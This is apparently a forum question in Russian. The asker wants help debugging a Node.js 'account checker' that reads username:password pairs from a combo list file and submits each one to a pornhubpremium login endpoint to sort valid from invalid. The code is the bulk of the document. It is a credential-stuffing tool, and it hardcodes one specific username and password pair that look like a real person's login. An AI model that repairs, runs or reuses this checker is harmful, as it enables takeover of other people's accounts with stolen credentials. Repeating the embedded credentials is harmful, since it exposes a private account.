Мне необходимо проверять аккаунты в определенном сервисе, но почему то всегда пишет что неверный пароль. Но при этом я могу с легкостью войти с самого сайта по этим же данным, в чем может быть проблема? Весь код:
const fs = require('fs')
const fetch = require('node-fetch')
let result = []
fs.readFile('assets/pornhub.txt', async function(err, data) {
if(err) throw err;
var array = data.toString().split("\r\n");
function timer(ms) {
return new Promise(res => setTimeout(res, ms));
}
async function load () {
for(i in array) {
let resp = ''
let username = array[i].split(':')[0]
let password = array[i].split(':')[1]
const body = {
username: 'kev70907',
password: 'kc38843884'
}
console.log(body)
console.log(`Проверяю ${username}:${password}`)
await sendRequest(body)
.then(res => resp = res)
.catch(err => err)
if(resp.message === 'Неверное имя пользователя или пароль!') {
console.log('Невалид')
} else {
console.log(resp.message)
}
return
await timer(1000)
}
}
load();
});
function sendRequest(body) {
return fetch('https://rt.pornhubpremium.com/front/authenticate', {
method: 'POST',
body: JSON.stringify(body),
headers: {
'Connection': 'keep-alive',
'Content-Type': 'application/json'
}
}).then(response => {
return response.json()
})
}